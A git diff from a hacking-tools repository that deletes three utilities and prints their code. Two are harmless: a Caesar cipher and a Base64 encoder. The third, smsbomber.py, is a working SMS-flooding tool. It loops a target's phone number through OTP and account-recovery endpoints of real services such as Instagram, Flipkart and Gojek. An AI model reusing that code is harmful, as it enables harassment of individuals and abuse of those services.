diff --git a/README.md b/README.md index 2898d08..b6b4153 100644 --- a/README.md +++ b/README.md @@ -26,15 +26,12 @@ Submit feature requests and bugs in the [issues](https://github.com/vil/H4X-Tool | Leak Search | Searches if given email/domain has been compromised and leaked. | | Email Search | Efficiently finds registered accounts from a given email. Thanks to [holehe.](https://github.com/megadose/holehe) | | WhoIs Lookup | Looks up a domain and returns information about it. | -| SMS Bomber | Spams messages to a given mobile number. (Works poorly and only for US numbers) | | Fake Info Generator | Generates fake information using [Faker](https://pypi.org/project/Faker/). | | Web Scrape | Scrapes links from a given url. | | Wi-Fi Finder | Scans for nearby Wi-Fi networks. | | Wi-Fi Vault | Scans for locally saved Wi-Fi passwords. | | Dir Buster | Bruteforce directories on a website. | | Local Users | Enumerates local user accounts on the current machine. | -| Caesar Cipher | Cipher/decipher/bruteforce a message using the Caesar's code. | -| BaseXX | Encodes/decodes a message using Base64/32/16. | | Help | Shows the help message. | | Exit | Exits the tool. | diff --git a/h4xtools.py b/h4xtools.py index 37f186b..59106f9 100755 --- a/h4xtools.py +++ b/h4xtools.py @@ -60,15 +60,12 @@ def help() -> None: "Leak Search": "Searches if a given email/domain has been compromised and leaked.", "Email Search": "Efficiently finds registered accounts from a given email.", "WhoIs Lookup": "Looks up a domain and returns information about it.", - "SMS Bomber": "Spams messages to a given mobile number (works poorly and only for US numbers).", "Fake Info Generator": "Generates fake information using Faker.", "Web Scrape": "Scrapes links from a given URL.", "Wi-Fi Finder": "Scans for nearby Wi-Fi networks.", "Wi-Fi Vault": "Scans for locally saved Wi-Fi passwords.", "Dir Buster": "Bruteforce directories on a website.", "Local Users": "Enumerates local user accounts on the current machine.", - "Caesar Cipher": "Cipher/decipher/bruteforce a message using the Caesar's code.", - "BaseXX": "Encodes/decodes a message using Base64/32/16.", "Help": "Shows this help menu." } @@ -114,15 +111,12 @@ def print_menu() -> None: "7": handles.handle_leak_search, "8": handles.handle_port_scanner, "9": handles.handle_whois_lookup, - "10": handles.handle_sms_bomber, - "11": handles.handle_fake_info_generator, - "12": handles.handle_web_scrape, - "13": handles.handle_wifi_finder, - "14": handles.handle_wifi_vault, - "15": handles.handle_dir_buster, - "16": handles.handle_local_users, - "17": handles.handle_caesar_cipher, - "18": handles.handle_basexx + "10": handles.handle_fake_info_generator, + "11": handles.handle_web_scrape, + "12": handles.handle_wifi_finder, + "13": handles.handle_wifi_vault, + "14": handles.handle_dir_buster, + "15": handles.handle_local_users, } def main() -> None: diff --git a/helper/handles.py b/helper/handles.py index fb85e93..5c86e42 100644 --- a/helper/handles.py +++ b/helper/handles.py @@ -26,13 +26,10 @@ ip_lookup, phonenumber_lookup, websearch, - smsbomber, web_scrape, wifi_finder, fake_info_generator, dirbuster, - caesar_cipher, - basexx, wifi_vault, ) from helper import printer @@ -108,18 +105,6 @@ def handle_whois_lookup() -> None: whois_lookup.Lookup(domain) -def handle_sms_bomber() -> None: - """ - Handles the SMS Bomber util. - - Currently only works for US numbers. - """ - number = printer.inp("Enter the target phone number (with country code): \t") - count = printer.inp("Enter the number of SMS to send: \t") - throttle = printer.inp("Enter the throttle time (in seconds): \t") - smsbomber.SMSBomber(number, count, throttle) - - def handle_fake_info_generator() -> None: """ Handles the Fake Info Generator util. @@ -167,25 +152,6 @@ def handle_local_users() -> None: local_users.Scan() -def handle_caesar_cipher() -> None: - """ - Handles the Caesar Cipher util. - """ - message = printer.inp("Enter a text to cipher/decipher : \t") - mode = str(printer.inp("Enter a mode (cipher/decipher/bruteforce) : \t")) - caesar_cipher.CaesarCipher(message, mode) - - -def handle_basexx() -> None: - """ - Handles the BaseXX util. - """ - message = printer.inp("Enter a text to encode/decode : \t") - mode = str(printer.inp("Enter a mode (encode/decode) : \t")) - encoding = str(printer.inp("Enter a encoding (64/32/16) : \t")) - basexx.BaseXX(message, mode, encoding) - - def handle_leak_search() -> None: """ Handles the Cybercrime Intelligence util. diff --git a/utils/basexx.py b/utils/basexx.py deleted file mode 100644 index e413029..0000000 --- a/utils/basexx.py +++ /dev/null @@ -1,65 +0,0 @@ -""" - Copyright (c) 2023-2025. Vili and contributors. - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import base64 -from helper import printer -from colorama import Style - -class BaseXX: - """ - Encodes or decodes a text using the Base64/32/16 algorithm. - - :param message: The message to encode or decode. - :param mode: The mode to use for the encoding or decoding ('encode' or 'decode'). - :param encoding: The encoding to use for the encoding or decoding ('64' or '32' or '16'). - """ - def __init__(self, message, mode, encoding): - self.message = message - self.mode = mode - self.encoding = encoding - - if self.mode in ("encode", "e"): - printer.info(f"Encoding {Style.BRIGHT}{self.message}{Style.RESET_ALL} into Base{self.encoding}...") - self.encode() - elif self.mode in ("decode", "d"): - printer.info(f"Decoding {Style.BRIGHT}{self.message}{Style.RESET_ALL} from Base{self.encoding}...") - self.decode() - else: - printer.error(f"Invalid mode, please choose either ENCODE or DECODE..!") - - def encode(self): - try: - if self.encoding in ("64", "32", "16"): - encoding_method = getattr(base64, f'b{self.encoding}encode') - self.encoded_message = encoding_method(self.message.encode("ascii")).decode("ascii") - printer.success(f"Encoded with Base{self.encoding} : {Style.BRIGHT}{self.encoded_message}{Style.RESET_ALL}") - else: - printer.error("Invalid encoding, please choose either : 64, 32, or 16..!") - except UnicodeEncodeError: - printer.error("Invalid character, please only use ASCII characters.") - - def decode(self): - try: - if self.encoding in ("64", "32", "16"): - decoding_method = getattr(base64, f'b{self.encoding}decode') - self.decoded_message = decoding_method(self.message.encode("ascii")).decode("ascii") - printer.success(f"Decoded from Base{self.encoding} : {Style.BRIGHT}{self.decoded_message}{Style.RESET_ALL}") - else: - printer.error("Invalid encoding, please choose either : 64, 32, or 16..!") - except Exception: - printer.error("Error while decoding, please make sure the message is encoded in Base64.") - diff --git a/utils/caesar_cipher.py b/utils/caesar_cipher.py deleted file mode 100644 index 214842a..0000000 --- a/utils/caesar_cipher.py +++ /dev/null @@ -1,103 +0,0 @@ -""" - Copyright (c) 2023-2025. Vili and contributors. - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -from colorama import Style -from helper import printer - - -class CaesarCipher: - """ - Encrypts or decrypts a text using the Caesar Cipher algorithm. - - :param text: The text to encrypt or decrypt. - :param shift: The shift to use for the encryption or decryption. - :param mode: The mode to use for the encryption or decryption. - """ - def __init__(self, text: str, mode: str) -> None: - self.text = text - self.mode = mode - - if self.mode in ("encrypt", "e", "cipher", "c"): - self.shift = self.get_key() - printer.info(f"Encrypting the string {Style.BRIGHT}{self.text}{Style.RESET_ALL}...") - encrypted_text = self.caesar_encrypt(self.text, self.shift) - printer.success(f"String ciphered in Caesar's code : {Style.BRIGHT}{encrypted_text}{Style.RESET_ALL}") - elif self.mode in ("decrypt", "d", "decipher"): - self.shift = self.get_key() - printer.info(f"Deciphering the string {Style.BRIGHT}{self.text}{Style.RESET_ALL}...") - decrypted_text = self.caesar_decrypt(self.text, self.shift) - printer.success(f"{Style.BRIGHT}{self.text}{Style.RESET_ALL} in plain text : {Style.BRIGHT}{decrypted_text}{Style.RESET_ALL}") - elif self.mode in ("bruteforce", "b"): - printer.info(f"Bruteforcing the string {Style.BRIGHT}{self.text}{Style.RESET_ALL}...") - self.brute_force(self.text) - else: - printer.error("Invalid mode, please choose either 'encrypt' , 'decrypt' or 'bruteforce'..!") - - @staticmethod - def get_key() -> int: - shift = int(printer.inp("Enter a number of shifts (0 to 25) : \t")) - if shift < 0 or shift > 25: - printer.error("Invalid shift number, please choose a number between 0 and 25..!") - return shift - - @staticmethod - def caesar_encrypt(text, shift) -> str: - encrypted_text = "" - for char in text: - if char.isalpha(): - is_upper = char.isupper() - char = char.lower() - encrypted_char = chr(((ord(char) - 97 + shift) % 26) + 97) - if is_upper: - encrypted_char = encrypted_char.upper() - encrypted_text += encrypted_char - else: - encrypted_text += char - return encrypted_text - - @staticmethod - def caesar_decrypt(encrypted_text, shift) -> str: - decrypted_text = "" - for char in encrypted_text: - if char.isalpha(): - is_upper = char.isupper() - char = char.lower() - decrypted_char = chr(((ord(char) - 97 - shift) % 26) + 97) - if is_upper: - decrypted_char = decrypted_char.upper() - decrypted_text += decrypted_char - else: - decrypted_text += char - return decrypted_text - - @staticmethod - def brute_force(encrypted_text) -> None: - for i in range(26): - decrypted_text = "" - for char in encrypted_text: - if char.isalpha(): - is_upper = char.isupper() - char = char.lower() - decrypted_char = chr(((ord(char) - 97 - i) % 26) + 97) - if is_upper: - decrypted_char = decrypted_char.upper() - decrypted_text += decrypted_char - else: - decrypted_text += char - printer.success(f"{Style.BRIGHT}{decrypted_text}{Style.RESET_ALL} ({i})") - - printer.info("Deciphering done, check all the shifts to see which one makes sense.") diff --git a/utils/smsbomber.py b/utils/smsbomber.py deleted file mode 100644 index 2a42911..0000000 --- a/utils/smsbomber.py +++ /dev/null @@ -1,79 +0,0 @@ -""" - Copyright (c) 2023-2025. Vili and contributors. - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import requests, random, time -from helper import printer, timer -from helper import randomuser -from colorama import Style - - -class SMSBomber: - """ - Spams SMS to the target phone number. - - :param number: target phone number - :param count: number of SMS to send - :param throttle: throttle time between each SMS - """ - def __init__(self, number, count, throttle) -> None: - self.number = number - self.count = int(count) - self.throttle = int(throttle) - self.urls = [ - f"https://api.tokentransit.com/v1/user/login?env=live&phone_number=%2B1%20{self.number}", - f"https://www.oyorooms.com/api/pwa/generateotp?country_code=%2B91&nod=4&phone={self.number}", - f"https://direct.delhivery.com/delhiverydirect/order/generate-otp?phoneNo={self.number}", - f"https://securedapi.confirmtkt.com/api/platform/register?mobileNumber={self.number}", - f"https://www.flipkart.com/api/6/user/signup/status?phone={self.number}", - f"https://www.hike.in/v1/account/auth/2.0/otp/send?msisdn={self.number}", - f"https://www.instagram.com/accounts/account_recovery_send_ajax/?email_or_username={self.number}&recaptcha_challenge_field=", - f"https://www.zomato.com/php/o2_send.php?phone={self.number}", - f"https://api.dunzo.in/api/v1/users/send_login_otp?phone={self.number}", - f"https://auth.gojekapi.com/v2/customer/otp?phone_number=%2B{self.number}", - f"https://www.olx.com.lb/api/auth/authenticate/byPhone?phone={self.number}" - ] - self.session = requests.session() - self.session.headers = f"{randomuser.GetUser()}" - - try: - printer.info(f"Trying to send {Style.BRIGHT}{self.count}{Style.RESET_ALL} SMS to {Style.BRIGHT}{self.number}{Style.RESET_ALL}...") - self.start() - except KeyboardInterrupt: - printer.error("Cancelled..!") - except Exception as e: - printer.error(f"Error : {e}") - - @timer.timer - def start(self) -> None: - successes = 0 - fails = 0 - try: - for i in range(self.count): - url = random.choice(self.urls) - response = self.session.post(url) - time.sleep(self.throttle) - - if response.status_code == 200: - successes += 1 - printer.success(f"{successes} Sent successfully.") - else: - fails += 1 - printer.warning(f"{fails} Failed to send... [{response.status_code}]") - except Exception as e: - printer.error(f"Error : {e}") - - printer.success(f"Finished sending {successes} SMS to {Style.BRIGHT}{self.number}{Style.RESET_ALL}..!")